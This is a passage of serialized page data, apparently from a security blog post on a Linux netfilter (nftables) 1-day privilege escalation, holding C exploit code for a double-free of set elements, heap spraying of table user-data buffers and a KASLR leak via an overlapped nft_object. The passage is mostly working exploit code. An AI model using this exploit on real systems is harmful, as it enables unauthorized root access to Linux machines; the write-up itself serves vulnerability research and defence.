",{"type":24,"tag":930,"props":57565,"children":57566},{"style":1242},[57567],{"type":30,"value":6244},{"type":24,"tag":930,"props":57569,"children":57570},{"style":959},[57571],{"type":30,"value":962},{"type":24,"tag":930,"props":57573,"children":57574},{"style":1158},[57575],{"type":30,"value":6230},{"type":24,"tag":930,"props":57577,"children":57578},{"style":959},[57579],{"type":30,"value":57580},"desc, ",{"type":24,"tag":930,"props":57582,"children":57583},{"style":937},[57584],{"type":30,"value":57585},"NULL",{"type":24,"tag":930,"props":57587,"children":57588},{"style":959},[57589],{"type":30,"value":962},{"type":24,"tag":930,"props":57591,"children":57592},{"style":1242},[57593],{"type":30,"value":1818},{"type":24,"tag":930,"props":57595,"children":57596},{"style":959},[57597],{"type":30,"value":57598},", NFT_OBJECT_CT_EXPECT);\n",{"type":24,"tag":930,"props":57600,"children":57601},{"class":932,"line":1281},[57602],{"type":24,"tag":930,"props":57603,"children":57604},{"emptyLinePlaceholder":16},[57605],{"type":30,"value":2412},{"type":24,"tag":930,"props":57607,"children":57608},{"class":932,"line":1313},[57609],{"type":24,"tag":930,"props":57610,"children":57611},{"style":1422},[57612],{"type":30,"value":57613},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":24,"tag":930,"props":57615,"children":57616},{"class":932,"line":1335},[57617,57621,57625,57629,57634,57638,57642,57646,57650,57654,57658,57662],{"type":24,"tag":930,"props":57618,"children":57619},{"style":1079},[57620],{"type":30,"value":6154},{"type":24,"tag":930,"props":57622,"children":57623},{"style":959},[57624],{"type":30,"value":1087},{"type":24,"tag":930,"props":57626,"children":57627},{"style":937},[57628],{"type":30,"value":22149},{"type":24,"tag":930,"props":57630,"children":57631},{"style":959},[57632],{"type":30,"value":57633}," i ",{"type":24,"tag":930,"props":57635,"children":57636},{"style":1158},[57637],{"type":30,"value":1161},{"type":24,"tag":930,"props":57639,"children":57640},{"style":1242},[57641],{"type":30,"value":1245},{"type":24,"tag":930,"props":57643,"children":57644},{"style":959},[57645],{"type":30,"value":54322},{"type":24,"tag":930,"props":57647,"children":57648},{"style":1158},[57649],{"type":30,"value":1350},{"type":24,"tag":930,"props":57651,"children":57652},{"style":1242},[57653],{"type":30,"value":11044},{"type":24,"tag":930,"props":57655,"children":57656},{"style":959},[57657],{"type":30,"value":54353},{"type":24,"tag":930,"props":57659,"children":57660},{"style":1158},[57661],{"type":30,"value":54358},{"type":24,"tag":930,"props":57663,"children":57664},{"style":959},[57665],{"type":30,"value":1054},{"type":24,"tag":930,"props":57667,"children":57668},{"class":932,"line":1376},[57669],{"type":24,"tag":930,"props":57670,"children":57671},{"style":959},[57672],{"type":30,"value":1128},{"type":24,"tag":930,"props":57674,"children":57675},{"class":932,"line":1418},[57676,57681,57686,57690,57695],{"type":24,"tag":930,"props":57677,"children":57678},{"style":1023},[57679],{"type":30,"value":57680},"        elem",{"type":24,"tag":930,"props":57682,"children":57683},{"style":959},[57684],{"type":30,"value":57685},"[i] ",{"type":24,"tag":930,"props":57687,"children":57688},{"style":1158},[57689],{"type":30,"value":1161},{"type":24,"tag":930,"props":57691,"children":57692},{"style":1002},[57693],{"type":30,"value":57694}," nftnl_set_elem_alloc",{"type":24,"tag":930,"props":57696,"children":57697},{"style":959},[57698],{"type":30,"value":1310},{"type":24,"tag":930,"props":57700,"children":57701},{"class":932,"line":1438},[57702,57707,57712,57717,57721],{"type":24,"tag":930,"props":57703,"children":57704},{"style":1002},[57705],{"type":30,"value":57706},"        memset",{"type":24,"tag":930,"props":57708,"children":57709},{"style":959},[57710],{"type":30,"value":57711},"(key, ",{"type":24,"tag":930,"props":57713,"children":57714},{"style":1242},[57715],{"type":30,"value":57716},"0x41",{"type":24,"tag":930,"props":57718,"children":57719},{"style":1158},[57720],{"type":30,"value":12014},{"type":24,"tag":930,"props":57722,"children":57723},{"style":959},[57724],{"type":30,"value":57725}," i, KEY_LEN);\n",{"type":24,"tag":930,"props":57727,"children":57728},{"class":932,"line":1479},[57729,57734,57738,57742,57747,57752,57756,57761],{"type":24,"tag":930,"props":57730,"children":57731},{"style":1002},[57732],{"type":30,"value":57733},"        nftnl_set_elem_set",{"type":24,"tag":930,"props":57735,"children":57736},{"style":959},[57737],{"type":30,"value":1010},{"type":24,"tag":930,"props":57739,"children":57740},{"style":1023},[57741],{"type":30,"value":55153},{"type":24,"tag":930,"props":57743,"children":57744},{"style":959},[57745],{"type":30,"value":57746},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":930,"props":57748,"children":57749},{"style":1270},[57750],{"type":30,"value":57751},"\"pwnobj\"",{"type":24,"tag":930,"props":57753,"children":57754},{"style":959},[57755],{"type":30,"value":962},{"type":24,"tag":930,"props":57757,"children":57758},{"style":1242},[57759],{"type":30,"value":57760},"7",{"type":24,"tag":930,"props":57762,"children":57763},{"style":959},[57764],{"type":30,"value":1278},{"type":24,"tag":930,"props":57766,"children":57767},{"class":932,"line":1506},[57768,57772,57776,57780,57785,57789],{"type":24,"tag":930,"props":57769,"children":57770},{"style":1002},[57771],{"type":30,"value":57733},{"type":24,"tag":930,"props":57773,"children":57774},{"style":959},[57775],{"type":30,"value":1010},{"type":24,"tag":930,"props":57777,"children":57778},{"style":1023},[57779],{"type":30,"value":55153},{"type":24,"tag":930,"props":57781,"children":57782},{"style":959},[57783],{"type":30,"value":57784},"[i], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":930,"props":57786,"children":57787},{"style":1158},[57788],{"type":30,"value":6230},{"type":24,"tag":930,"props":57790,"children":57791},{"style":959},[57792],{"type":30,"value":57793},"key, KEY_LEN);\n",{"type":24,"tag":930,"props":57795,"children":57796},{"class":932,"line":1525},[57797,57801,57805,57809,57814,57818],{"type":24,"tag":930,"props":57798,"children":57799},{"style":1002},[57800],{"type":30,"value":57733},{"type":24,"tag":930,"props":57802,"children":57803},{"style":959},[57804],{"type":30,"value":1010},{"type":24,"tag":930,"props":57806,"children":57807},{"style":1023},[57808],{"type":30,"value":55153},{"type":24,"tag":930,"props":57810,"children":57811},{"style":959},[57812],{"type":30,"value":57813},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":24,"tag":930,"props":57815,"children":57816},{"style":1158},[57817],{"type":30,"value":6230},{"type":24,"tag":930,"props":57819,"children":57820},{"style":959},[57821],{"type":30,"value":57822},"udata_buf, size);\n",{"type":24,"tag":930,"props":57824,"children":57825},{"class":932,"line":1569},[57826,57831,57836,57840],{"type":24,"tag":930,"props":57827,"children":57828},{"style":1002},[57829],{"type":30,"value":57830},"        nftnl_set_elem_add",{"type":24,"tag":930,"props":57832,"children":57833},{"style":959},[57834],{"type":30,"value":57835},"(set, ",{"type":24,"tag":930,"props":57837,"children":57838},{"style":1023},[57839],{"type":30,"value":55153},{"type":24,"tag":930,"props":57841,"children":57842},{"style":959},[57843],{"type":30,"value":57844},"[i]);\n",{"type":24,"tag":930,"props":57846,"children":57847},{"class":932,"line":1592},[57848],{"type":24,"tag":930,"props":57849,"children":57850},{"style":959},[57851],{"type":30,"value":1840},{"type":24,"tag":930,"props":57853,"children":57854},{"class":932,"line":1610},[57855],{"type":24,"tag":930,"props":57856,"children":57857},{"style":959},[57858],{"type":30,"value":990},{"type":24,"tag":930,"props":57860,"children":57861},{"class":932,"line":1628},[57862],{"type":24,"tag":930,"props":57863,"children":57864},{"emptyLinePlaceholder":16},[57865],{"type":30,"value":2412},{"type":24,"tag":930,"props":57867,"children":57868},{"class":932,"line":1637},[57869],{"type":24,"tag":930,"props":57870,"children":57871},{"style":959},[57872],{"type":30,"value":57873},"    // TRANSACTION 3\n",{"type":24,"tag":930,"props":57875,"children":57876},{"class":932,"line":1646},[57877],{"type":24,"tag":930,"props":57878,"children":57879},{"style":959},[57880],{"type":30,"value":990},{"type":24,"tag":930,"props":57882,"children":57883},{"class":932,"line":1673},[57884],{"type":24,"tag":930,"props":57885,"children":57886},{"style":959},[57887],{"type":30,"value":57888},"    set = nftnl_set_alloc();\n",{"type":24,"tag":930,"props":57890,"children":57891},{"class":932,"line":1692},[57892,57897],{"type":24,"tag":930,"props":57893,"children":57894},{"style":1002},[57895],{"type":30,"value":57896},"    nftnl_set_set_u32",{"type":24,"tag":930,"props":57898,"children":57899},{"style":959},[57900],{"type":30,"value":57901},"(set, NFTNL_SET_FAMILY, family);\n",{"type":24,"tag":930,"props":57903,"children":57904},{"class":932,"line":1730},[57905,57910],{"type":24,"tag":930,"props":57906,"children":57907},{"style":1002},[57908],{"type":30,"value":57909},"    nftnl_set_set_str",{"type":24,"tag":930,"props":57911,"children":57912},{"style":959},[57913],{"type":30,"value":57914},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":24,"tag":930,"props":57916,"children":57917},{"class":932,"line":1762},[57918,57922,57927,57931],{"type":24,"tag":930,"props":57919,"children":57920},{"style":1002},[57921],{"type":30,"value":57909},{"type":24,"tag":930,"props":57923,"children":57924},{"style":959},[57925],{"type":30,"value":57926},"(set, NFTNL_SET_NAME, ",{"type":24,"tag":930,"props":57928,"children":57929},{"style":1270},[57930],{"type":30,"value":57525},{"type":24,"tag":930,"props":57932,"children":57933},{"style":959},[57934],{"type":30,"value":1278},{"type":24,"tag":930,"props":57936,"children":57937},{"class":932,"line":1775},[57938],{"type":24,"tag":930,"props":57939,"children":57940},{"emptyLinePlaceholder":16},[57941],{"type":30,"value":2412},{"type":24,"tag":930,"props":57943,"children":57944},{"class":932,"line":1825},[57945],{"type":24,"tag":930,"props":57946,"children":57947},{"style":1422},[57948],{"type":30,"value":57949},"    // make priv->dirty true\n",{"type":24,"tag":930,"props":57951,"children":57952},{"class":932,"line":1834},[57953,57958,57962,57967],{"type":24,"tag":930,"props":57954,"children":57955},{"style":1002},[57956],{"type":30,"value":57957},"    memset",{"type":24,"tag":930,"props":57959,"children":57960},{"style":959},[57961],{"type":30,"value":57711},{"type":24,"tag":930,"props":57963,"children":57964},{"style":1242},[57965],{"type":30,"value":57966},"0xff",{"type":24,"tag":930,"props":57968,"children":57969},{"style":959},[57970],{"type":30,"value":57971},", KEY_LEN);\n",{"type":24,"tag":930,"props":57973,"children":57974},{"class":932,"line":1843},[57975,57980,57984,57988,57992,57996,58000],{"type":24,"tag":930,"props":57976,"children":57977},{"style":1023},[57978],{"type":30,"value":57979},"    elem",{"type":24,"tag":930,"props":57981,"children":57982},{"style":959},[57983],{"type":30,"value":6849},{"type":24,"tag":930,"props":57985,"children":57986},{"style":1242},[57987],{"type":30,"value":20397},{"type":24,"tag":930,"props":57989,"children":57990},{"style":959},[57991],{"type":30,"value":11770},{"type":24,"tag":930,"props":57993,"children":57994},{"style":1158},[57995],{"type":30,"value":1161},{"type":24,"tag":930,"props":57997,"children":57998},{"style":1002},[57999],{"type":30,"value":57694},{"type":24,"tag":930,"props":58001,"children":58002},{"style":959},[58003],{"type":30,"value":1310},{"type":24,"tag":930,"props":58005,"children":58006},{"class":932,"line":1851},[58007,58012,58016,58020,58024,58028,58033,58037,58041,58045],{"type":24,"tag":930,"props":58008,"children":58009},{"style":1002},[58010],{"type":30,"value":58011},"    nftnl_set_elem_set",{"type":24,"tag":930,"props":58013,"children":58014},{"style":959},[58015],{"type":30,"value":1010},{"type":24,"tag":930,"props":58017,"children":58018},{"style":1023},[58019],{"type":30,"value":55153},{"type":24,"tag":930,"props":58021,"children":58022},{"style":959},[58023],{"type":30,"value":6849},{"type":24,"tag":930,"props":58025,"children":58026},{"style":1242},[58027],{"type":30,"value":20397},{"type":24,"tag":930,"props":58029,"children":58030},{"style":959},[58031],{"type":30,"value":58032},"], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":930,"props":58034,"children":58035},{"style":1270},[58036],{"type":30,"value":57751},{"type":24,"tag":930,"props":58038,"children":58039},{"style":959},[58040],{"type":30,"value":962},{"type":24,"tag":930,"props":58042,"children":58043},{"style":1242},[58044],{"type":30,"value":57760},{"type":24,"tag":930,"props":58046,"children":58047},{"style":959},[58048],{"type":30,"value":1278},{"type":24,"tag":930,"props":58050,"children":58051},{"class":932,"line":1919},[58052,58056,58060,58064,58068,58072,58077,58081],{"type":24,"tag":930,"props":58053,"children":58054},{"style":1002},[58055],{"type":30,"value":58011},{"type":24,"tag":930,"props":58057,"children":58058},{"style":959},[58059],{"type":30,"value":1010},{"type":24,"tag":930,"props":58061,"children":58062},{"style":1023},[58063],{"type":30,"value":55153},{"type":24,"tag":930,"props":58065,"children":58066},{"style":959},[58067],{"type":30,"value":6849},{"type":24,"tag":930,"props":58069,"children":58070},{"style":1242},[58071],{"type":30,"value":20397},{"type":24,"tag":930,"props":58073,"children":58074},{"style":959},[58075],{"type":30,"value":58076},"], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":930,"props":58078,"children":58079},{"style":1158},[58080],{"type":30,"value":6230},{"type":24,"tag":930,"props":58082,"children":58083},{"style":959},[58084],{"type":30,"value":57793},{"type":24,"tag":930,"props":58086,"children":58087},{"class":932,"line":1927},[58088,58093,58097,58101,58105,58109],{"type":24,"tag":930,"props":58089,"children":58090},{"style":1002},[58091],{"type":30,"value":58092},"    nftnl_set_elem_add",{"type":24,"tag":930,"props":58094,"children":58095},{"style":959},[58096],{"type":30,"value":57835},{"type":24,"tag":930,"props":58098,"children":58099},{"style":1023},[58100],{"type":30,"value":55153},{"type":24,"tag":930,"props":58102,"children":58103},{"style":959},[58104],{"type":30,"value":6849},{"type":24,"tag":930,"props":58106,"children":58107},{"style":1242},[58108],{"type":30,"value":20397},{"type":24,"tag":930,"props":58110,"children":58111},{"style":959},[58112],{"type":30,"value":6868},{"type":24,"tag":930,"props":58114,"children":58115},{"class":932,"line":1935},[58116],{"type":24,"tag":930,"props":58117,"children":58118},{"style":959},[58119],{"type":30,"value":990},{"type":24,"tag":930,"props":58121,"children":58122},{"class":932,"line":1943},[58123],{"type":24,"tag":930,"props":58124,"children":58125},{"emptyLinePlaceholder":16},[58126],{"type":30,"value":2412},{"type":24,"tag":930,"props":58128,"children":58129},{"class":932,"line":1955},[58130],{"type":24,"tag":930,"props":58131,"children":58132},{"style":959},[58133],{"type":30,"value":58134},"    // double-free commited elems\n",{"type":24,"tag":930,"props":58136,"children":58137},{"class":932,"line":1975},[58138],{"type":24,"tag":930,"props":58139,"children":58140},{"style":959},[58141],{"type":30,"value":990},{"type":24,"tag":930,"props":58143,"children":58144},{"class":932,"line":1995},[58145,58150,58154],{"type":24,"tag":930,"props":58146,"children":58147},{"style":959},[58148],{"type":30,"value":58149},"    nftnl_set_free(",{"type":24,"tag":930,"props":58151,"children":58152},{"style":943},[58153],{"type":30,"value":54108},{"type":24,"tag":930,"props":58155,"children":58156},{"style":959},[58157],{"type":30,"value":1278},{"type":24,"tag":930,"props":58159,"children":58160},{"class":932,"line":2061},[58161],{"type":24,"tag":930,"props":58162,"children":58163},{"style":959},[58164],{"type":30,"value":2528},{"type":24,"tag":930,"props":58166,"children":58167},{"class":932,"line":2085},[58168],{"type":24,"tag":930,"props":58169,"children":58170},{"style":959},[58171],{"type":30,"value":990},{"type":24,"tag":151,"props":58173,"children":58175},{"id":58174},"leaking-kaslr",[58176],{"type":30,"value":58177},"Leaking KASLR",{"type":24,"tag":33,"props":58179,"children":58180},{},[58181,58183,58189,58191,58196,58198,58204,58206,58212,58214],{"type":30,"value":58182},"Tables contain an outline user data buffer ",{"type":24,"tag":156,"props":58184,"children":58186},{"className":58185},[],[58187],{"type":30,"value":58188},"udata",{"type":30,"value":58190}," that we can both read and write. By allocating a ",{"type":24,"tag":156,"props":58192,"children":58194},{"className":58193},[],[58195],{"type":30,"value":58188},{"type":30,"value":58197}," buffer on the double-free slot and then overlapping it with an ",{"type":24,"tag":156,"props":58199,"children":58201},{"className":58200},[],[58202],{"type":30,"value":58203},"nft_object",{"type":30,"value":58205}," we can leak the ",{"type":24,"tag":156,"props":58207,"children":58209},{"className":58208},[],[58210],{"type":30,"value":58211},"->ops",{"type":30,"value":58213}," pointer, and use it to calculate the KASLR slide.\n",{"type":24,"tag":140,"props":58215,"children":58217},{"alt":142,"src":58216},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":24,"tag":920,"props":58219,"children":58221},{"className":32201,"code":58220,"language":32203,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[58222],{"type":24,"tag":156,"props":58223,"children":58224},{"__ignoreMap":7},[58225,58232,58240,58275,58282,58290,58315,58342,58393,58400,58433,58459,58466,58531,58538,58559,58566,58573,58581,58589,58610,58639,58651,58695,58751],{"type":24,"tag":930,"props":58226,"children":58227},{"class":932,"line":933},[58228],{"type":24,"tag":930,"props":58229,"children":58230},{"style":959},[58231],{"type":30,"value":990},{"type":24,"tag":930,"props":58233,"children":58234},{"class":932,"line":984},[58235],{"type":24,"tag":930,"props":58236,"children":58237},{"style":959},[58238],{"type":30,"value":58239},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":24,"tag":930,"props":58241,"children":58242},{"class":932,"line":993},[58243,58248,58252,58257,58262,58267,58271],{"type":24,"tag":930,"props":58244,"children":58245},{"style":959},[58246],{"type":30,"value":58247},"    udata_spray(",{"type":24,"tag":930,"props":58249,"children":58250},{"style":943},[58251],{"type":30,"value":57379},{"type":24,"tag":930,"props":58253,"children":58254},{"style":959},[58255],{"type":30,"value":58256},", 0",{"type":24,"tag":930,"props":58258,"children":58259},{"style":943},[58260],{"type":30,"value":58261},"xe8",{"type":24,"tag":930,"props":58263,"children":58264},{"style":959},[58265],{"type":30,"value":58266},", 0, 3, ",{"type":24,"tag":930,"props":58268,"children":58269},{"style":943},[58270],{"type":30,"value":57585},{"type":24,"tag":930,"props":58272,"children":58273},{"style":959},[58274],{"type":30,"value":1278},{"type":24,"tag":930,"props":58276,"children":58277},{"class":932,"line":1057},[58278],{"type":24,"tag":930,"props":58279,"children":58280},{"emptyLinePlaceholder":16},[58281],{"type":30,"value":2412},{"type":24,"tag":930,"props":58283,"children":58284},{"class":932,"line":1066},[58285],{"type":24,"tag":930,"props":58286,"children":58287},{"style":1422},[58288],{"type":30,"value":58289},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":24,"tag":930,"props":58291,"children":58292},{"class":932,"line":1075},[58293,58298,58303,58307,58311],{"type":24,"tag":930,"props":58294,"children":58295},{"style":937},[58296],{"type":30,"value":58297},"    char",{"type":24,"tag":930,"props":58299,"children":58300},{"style":1023},[58301],{"type":30,"value":58302}," spray_name",{"type":24,"tag":930,"props":58304,"children":58305},{"style":959},[58306],{"type":30,"value":6849},{"type":24,"tag":930,"props":58308,"children":58309},{"style":1242},[58310],{"type":30,"value":43935},{"type":24,"tag":930,"props":58312,"children":58313},{"style":959},[58314],{"type":30,"value":34666},{"type":24,"tag":930,"props":58316,"children":58317},{"class":932,"line":1122},[58318,58322,58326,58330,58334,58338],{"type":24,"tag":930,"props":58319,"children":58320},{"style":937},[58321],{"type":30,"value":58297},{"type":24,"tag":930,"props":58323,"children":58324},{"style":1158},[58325],{"type":30,"value":12924},{"type":24,"tag":930,"props":58327,"children":58328},{"style":1023},[58329],{"type":30,"value":58188},{"type":24,"tag":930,"props":58331,"children":58332},{"style":959},[58333],{"type":30,"value":6849},{"type":24,"tag":930,"props":58335,"children":58336},{"style":1242},[58337],{"type":30,"value":20397},{"type":24,"tag":930,"props":58339,"children":58340},{"style":959},[58341],{"type":30,"value":34666},{"type":24,"tag":930,"props":58343,"children":58344},{"class":932,"line":1131},[58345,58349,58353,58357,58361,58365,58369,58373,58377,58381,58385,58389],{"type":24,"tag":930,"props":58346,"children":58347},{"style":1079},[58348],{"type":30,"value":6154},{"type":24,"tag":930,"props":58350,"children":58351},{"style":959},[58352],{"type":30,"value":1087},{"type":24,"tag":930,"props":58354,"children":58355},{"style":937},[58356],{"type":30,"value":22149},{"type":24,"tag":930,"props":58358,"children":58359},{"style":959},[58360],{"type":30,"value":57633},{"type":24,"tag":930,"props":58362,"children":58363},{"style":1158},[58364],{"type":30,"value":1161},{"type":24,"tag":930,"props":58366,"children":58367},{"style":1242},[58368],{"type":30,"value":1245},{"type":24,"tag":930,"props":58370,"children":58371},{"style":959},[58372],{"type":30,"value":54322},{"type":24,"tag":930,"props":58374,"children":58375},{"style":1158},[58376],{"type":30,"value":1350},{"type":24,"tag":930,"props":58378,"children":58379},{"style":1242},[58380],{"type":30,"value":22201},{"type":24,"tag":930,"props":58382,"children":58383},{"style":959},[58384],{"type":30,"value":54353},{"type":24,"tag":930,"props":58386,"children":58387},{"style":1158},[58388],{"type":30,"value":54358},{"type":24,"tag":930,"props":58390,"children":58391},{"style":959},[58392],{"type":30,"value":1054},{"type":24,"tag":930,"props":58394,"children":58395},{"class":932,"line":1144},[58396],{"type":24,"tag":930,"props":58397,"children":58398},{"style":959},[58399],{"type":30,"value":1128},{"type":24,"tag":930,"props":58401,"children":58402},{"class":932,"line":1169},[58403,58408,58413,58418,58423,58428],{"type":24,"tag":930,"props":58404,"children":58405},{"style":1002},[58406],{"type":30,"value":58407},"        snprintf",{"type":24,"tag":930,"props":58409,"children":58410},{"style":959},[58411],{"type":30,"value":58412},"(spray_name, ",{"type":24,"tag":930,"props":58414,"children":58415},{"style":937},[58416],{"type":30,"value":58417},"sizeof",{"type":24,"tag":930,"props":58419,"children":58420},{"style":959},[58421],{"type":30,"value":58422},"(spray_name), ",{"type":24,"tag":930,"props":58424,"children":58425},{"style":1270},[58426],{"type":30,"value":58427},"\"spray-%i\"",{"type":24,"tag":930,"props":58429,"children":58430},{"style":959},[58431],{"type":30,"value":58432},", i);\n",{"type":24,"tag":930,"props":58434,"children":58435},{"class":932,"line":1191},[58436,58441,58445,58449,58454],{"type":24,"tag":930,"props":58437,"children":58438},{"style":1023},[58439],{"type":30,"value":58440},"        udata",{"type":24,"tag":930,"props":58442,"children":58443},{"style":959},[58444],{"type":30,"value":57685},{"type":24,"tag":930,"props":58446,"children":58447},{"style":1158},[58448],{"type":30,"value":1161},{"type":24,"tag":930,"props":58450,"children":58451},{"style":1002},[58452],{"type":30,"value":58453}," getudata",{"type":24,"tag":930,"props":58455,"children":58456},{"style":959},[58457],{"type":30,"value":58458},"(nl, spray_name);\n",{"type":24,"tag":930,"props":58460,"children":58461},{"class":932,"line":1223},[58462],{"type":24,"tag":930,"props":58463,"children":58464},{"style":959},[58465],{"type":30,"value":1840},{"type":24,"tag":930,"props":58467,"children":58468},{"class":932,"line":1281},[58469,58473,58477,58481,58485,58489,58493,58497,58501,58505,58510,58514,58518,58522,58526],{"type":24,"tag":930,"props":58470,"children":58471},{"style":1079},[58472],{"type":30,"value":15386},{"type":24,"tag":930,"props":58474,"children":58475},{"style":959},[58476],{"type":30,"value":1087},{"type":24,"tag":930,"props":58478,"children":58479},{"style":1023},[58480],{"type":30,"value":58188},{"type":24,"tag":930,"props":58482,"children":58483},{"style":959},[58484],{"type":30,"value":6849},{"type":24,"tag":930,"props":58486,"children":58487},{"style":1242},[58488],{"type":30,"value":1818},{"type":24,"tag":930,"props":58490,"children":58491},{"style":959},[58492],{"type":30,"value":52047},{"type":24,"tag":930,"props":58494,"children":58495},{"style":1242},[58496],{"type":30,"value":1818},{"type":24,"tag":930,"props":58498,"children":58499},{"style":959},[58500],{"type":30,"value":11770},{"type":24,"tag":930,"props":58502,"children":58503},{"style":1158},[58504],{"type":30,"value":1239},{"type":24,"tag":930,"props":58506,"children":58507},{"style":1023},[58508],{"type":30,"value":58509}," udata",{"type":24,"tag":930,"props":58511,"children":58512},{"style":959},[58513],{"type":30,"value":6849},{"type":24,"tag":930,"props":58515,"children":58516},{"style":1242},[58517],{"type":30,"value":6244},{"type":24,"tag":930,"props":58519,"children":58520},{"style":959},[58521],{"type":30,"value":52047},{"type":24,"tag":930,"props":58523,"children":58524},{"style":1242},[58525],{"type":30,"value":1818},{"type":24,"tag":930,"props":58527,"children":58528},{"style":959},[58529],{"type":30,"value":58530},"])\n",{"type":24,"tag":930,"props":58532,"children":58533},{"class":932,"line":1313},[58534],{"type":24,"tag":930,"props":58535,"children":58536},{"style":959},[58537],{"type":30,"value":1128},{"type":24,"tag":930,"props":58539,"children":58540},{"class":932,"line":1335},[58541,58546,58550,58555],{"type":24,"tag":930,"props":58542,"children":58543},{"style":1002},[58544],{"type":30,"value":58545},"        puts",{"type":24,"tag":930,"props":58547,"children":58548},{"style":959},[58549],{"type":30,"value":1010},{"type":24,"tag":930,"props":58551,"children":58552},{"style":1270},[58553],{"type":30,"value":58554},"\"[+] got duplicated table\"",{"type":24,"tag":930,"props":58556,"children":58557},{"style":959},[58558],{"type":30,"value":1278},{"type":24,"tag":930,"props":58560,"children":58561},{"class":932,"line":1376},[58562],{"type":24,"tag":930,"props":58563,"children":58564},{"style":959},[58565],{"type":30,"value":1840},{"type":24,"tag":930,"props":58567,"children":58568},{"class":932,"line":1418},[58569],{"type":24,"tag":930,"props":58570,"children":58571},{"emptyLinePlaceholder":16},[58572],{"type":30,"value":2412},{"type":24,"tag":930,"props":58574,"children":58575},{"class":932,"line":1438},[58576],{"type":24,"tag":930,"props":58577,"children":58578},{"style":1422},[58579],{"type":30,"value":58580},"    // Replace one of the udata buffers with nft_object\n",{"type":24,"tag":930,"props":58582,"children":58583},{"class":932,"line":1479},[58584],{"type":24,"tag":930,"props":58585,"children":58586},{"style":1422},[58587],{"type":30,"value":58588},"    // and read it's counterpart to leak the nft_object struct\n",{"type":24,"tag":930,"props":58590,"children":58591},{"class":932,"line":1506},[58592,58597,58601,58606],{"type":24,"tag":930,"props":58593,"children":58594},{"style":1002},[58595],{"type":30,"value":58596},"    puts",{"type":24,"tag":930,"props":58598,"children":58599},{"style":959},[58600],{"type":30,"value":1010},{"type":24,"tag":930,"props":58602,"children":58603},{"style":1270},[58604],{"type":30,"value":58605},"\"[*] Info leak\"",{"type":24,"tag":930,"props":58607,"children":58608},{"style":959},[58609],{"type":30,"value":1278},{"type":24,"tag":930,"props":58611,"children":58612},{"class":932,"line":1525},[58613,58618,58623,58627,58631,58635],{"type":24,"tag":930,"props":58614,"children":58615},{"style":1002},[58616],{"type":30,"value":58617},"    deludata_spray",{"type":24,"tag":930,"props":58619,"children":58620},{"style":959},[58621],{"type":30,"value":58622},"(nl, ",{"type":24,"tag":930,"props":58624,"children":58625},{"style":1242},[58626],{"type":30,"value":1818},{"type":24,"tag":930,"props":58628,"children":58629},{"style":959},[58630],{"type":30,"value":962},{"type":24,"tag":930,"props":58632,"children":58633},{"style":1242},[58634],{"type":30,"value":7129},{"type":24,"tag":930,"props":58636,"children":58637},{"style":959},[58638],{"type":30,"value":1278},{"type":24,"tag":930,"props":58640,"children":58641},{"class":932,"line":1569},[58642,58647],{"type":24,"tag":930,"props":58643,"children":58644},{"style":1002},[58645],{"type":30,"value":58646},"    wait_destroyer",{"type":24,"tag":930,"props":58648,"children":58649},{"style":959},[58650],{"type":30,"value":1310},{"type":24,"tag":930,"props":58652,"children":58653},{"class":932,"line":1592},[58654,58659,58663,58667,58671,58675,58679,58683,58687,58691],{"type":24,"tag":930,"props":58655,"children":58656},{"style":1002},[58657],{"type":30,"value":58658},"    obj_spray",{"type":24,"tag":930,"props":58660,"children":58661},{"style":959},[58662],{"type":30,"value":58622},{"type":24,"tag":930,"props":58664,"children":58665},{"style":1242},[58666],{"type":30,"value":1818},{"type":24,"tag":930,"props":58668,"children":58669},{"style":959},[58670],{"type":30,"value":962},{"type":24,"tag":930,"props":58672,"children":58673},{"style":1242},[58674],{"type":30,"value":7129},{"type":24,"tag":930,"props":58676,"children":58677},{"style":959},[58678],{"type":30,"value":962},{"type":24,"tag":930,"props":58680,"children":58681},{"style":937},[58682],{"type":30,"value":57585},{"type":24,"tag":930,"props":58684,"children":58685},{"style":959},[58686],{"type":30,"value":962},{"type":24,"tag":930,"props":58688,"children":58689},{"style":1242},[58690],{"type":30,"value":1818},{"type":24,"tag":930,"props":58692,"children":58693},{"style":959},[58694],{"type":30,"value":1278},{"type":24,"tag":930,"props":58696,"children":58697},{"class":932,"line":1610},[58698,58703,58707,58712,58716,58720,58725,58729,58733,58738,58742,58747],{"type":24,"tag":930,"props":58699,"children":58700},{"style":937},[58701],{"type":30,"value":58702},"    uint64_t",{"type":24,"tag":930,"props":58704,"children":58705},{"style":1158},[58706],{"type":30,"value":12924},{"type":24,"tag":930,"props":58708,"children":58709},{"style":959},[58710],{"type":30,"value":58711},"fake_obj 